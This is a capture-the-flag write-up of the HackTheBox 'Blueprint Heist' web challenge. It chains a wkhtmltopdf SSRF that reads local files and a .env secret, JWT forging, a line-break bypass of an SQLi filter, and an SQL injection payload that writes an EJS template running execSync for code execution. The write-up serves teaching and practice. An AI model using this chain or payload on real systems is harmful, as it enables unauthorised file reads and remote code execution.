Challenge, Train, Flag: Blueprint Heist
At Atlansec, we are committed to CTFs as a key learning tool under the learning by doing methodology. We believe that facing practical challenges is the best way to develop technical skills and foster creativity. With this section we want to spread the value of CTFs, share writeups of challenges of a certain technical complexity and bring the community closer to a practical and technical approach to learning.
What is a CTF?
Capture the Flag (CTF) competitions are cybersecurity challenges where participants tackle a variety of technical problems to find "flags", which are hidden markers proving successful completion of a task. CTFs simulate real-world scenarios in areas like cryptography, reverse engineering, web security, forensics, and binary exploitation, helping participants build essential cybersecurity skills.
CTFs aren't just competitions; they are a gateway to learning by solving. They teach participants how to think critically, debug complex systems, and adapt under pressure. Each challenge is a story, a puzzle, and a lesson rolled into one.
In this series, we'll explore notable CTF challenges, dive into their technical solutions, and highlight the skills they develop. Welcome to Challenge, Train, Flag!
Key concepts
-
SSRF (Server-Side Request Forgery): Technique that allows an attacker to force a server to make HTTP requests on their behalf. Depending on the context, it can be quite critical as it can allow an attacker to access resources within the target's internal network.
-
JSON Web Token (JWT): An open standard for authenticating and securely transferring information using a token.
-
SQL Injection: An attack that allows malicious SQL code to be injected into a query to manipulate the database query.
-
wkhtmltopdf: Library for converting web content (HTML) to PDF.
The challenge
This time we bring you a challenge from the HTB Business CTF 2024. The challenge is from the web category and although it is listed as easy on the HackTheBox platform, it is one of the most complex web challenges on the platform due to the number of steps that make up the solution.
In this challenge we are given the source code of a NodeJS application and access to a web service running the application.
Understanding the Application Logic
The challenge starts with access to an application of the urban planning commission. When browsing, we notice that clicking on any of the links generates a POST request to the /download path. Let's review its implementation in the routes file:
router.post("/download", authMiddleware("guest"), (req, res, next) => {
convertPdf(req, res, next);
});
Here we can see that the convertPdf function is responsible for handling the logic of this path. Let's go on to examine its code:
async function convertPdf(req, res, next) {
try {
const { url } = req.body;
if (!isUrl(url)) {
return next(generateError(400, "Invalid URL"));
}
const pdfPath = await generatePdf(url);
res.sendFile(pdfPath, { root: "." });
} catch (error) {
return next(generateError(500, error.message));
}
}
After reading this, we can see that the function makes sure that the parameter it receives is a valid URL before passing it to the generatePdf function. Let's look at the latter next:
async function generatePdf(urls) {
const pdfFilename = generateRandomFilename();
const pdfPath = `uploads/${pdfFilename}`;
try {
await generatePdfFromUrl(urls, pdfPath);
return pdfPath;
} catch (error) {
throw new Error(`Error generating PDF: ${error.stack}`);
}
}
async function generatePdfFromUrl(url, pdfPath) {
return new Promise((resolve, reject) => {
wkhtmltopdf(url, { output: pdfPath }, (err) => {
if (err) {
reject(err);
} else {
resolve();
}
});
});
}
We note that the generatePdfFromUrl function uses wkhtmltopdf to convert the URL content to a PDF file. This flow opens the door to exploit a SSRF vulnerability in the library.
SSRF to local file read on wkhtmltopdf
Using an attacker-controlled server, we can serve files on a web server to redirect the visitor to local file system locations, in this case converting the SSRF on the server into a way to read internal files such as /etc/passwd. To do this, we create a PHP file with the following content:
By passing the URL of our server as a parameter to the /download path, the generated PDF will contain the contents of the /etc/passwd file of the server making the request.

We then modify the PHP file to exfiltrate the application's .env file:

JWT Forging
With the key extracted from the .env file, we can sign valid JWT tokens. We use a tool like JWT.io to generate a token with the administrator role:

Using the token we have generated, we will make a request to the internal admin panel endpoint with the following structure:
In the generated PDF we can see the contents of the admin panel. While this generates a screenshot of the admin panel, it only takes us halfway to our ultimate goal.

SQL injection to file upload
Analysing the rest of the application code, we discovered that the GraphQL endpoint is vulnerable to SQL injection in the getDataByName query. However, a robust regular expression is used to filter out malicious entries:
function detectSqli(query) {
const pattern = /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/\?]/;
return pattern.test(query);
}
A more detailed analysis shows that the expression is not multiline, which allows us to bypass it with a line break (n
).
- No line break.

- With a line break.

Once this is discovered, we can build a payload for an SQL injection that writes a malicious EJS file to the 404 error path, since the application does not have a path to handle this type of error.
The payload we build should be similar to the following, where we include an EJS template that reads the flag by executing the target binary.
' UNION SELECT 1, '<p><%= process.mainModule.require("child_process").execSync("/readflag") %></p>', 2, 3 INTO OUTFILE '/app/views/errors/404.ejs'--
With the malicious file in place, we access a non-existent path to throw a 404 error and execute the /readflag command. This gives us access to the contents of the flag.

Stay safe. Stay smart. Stay secure.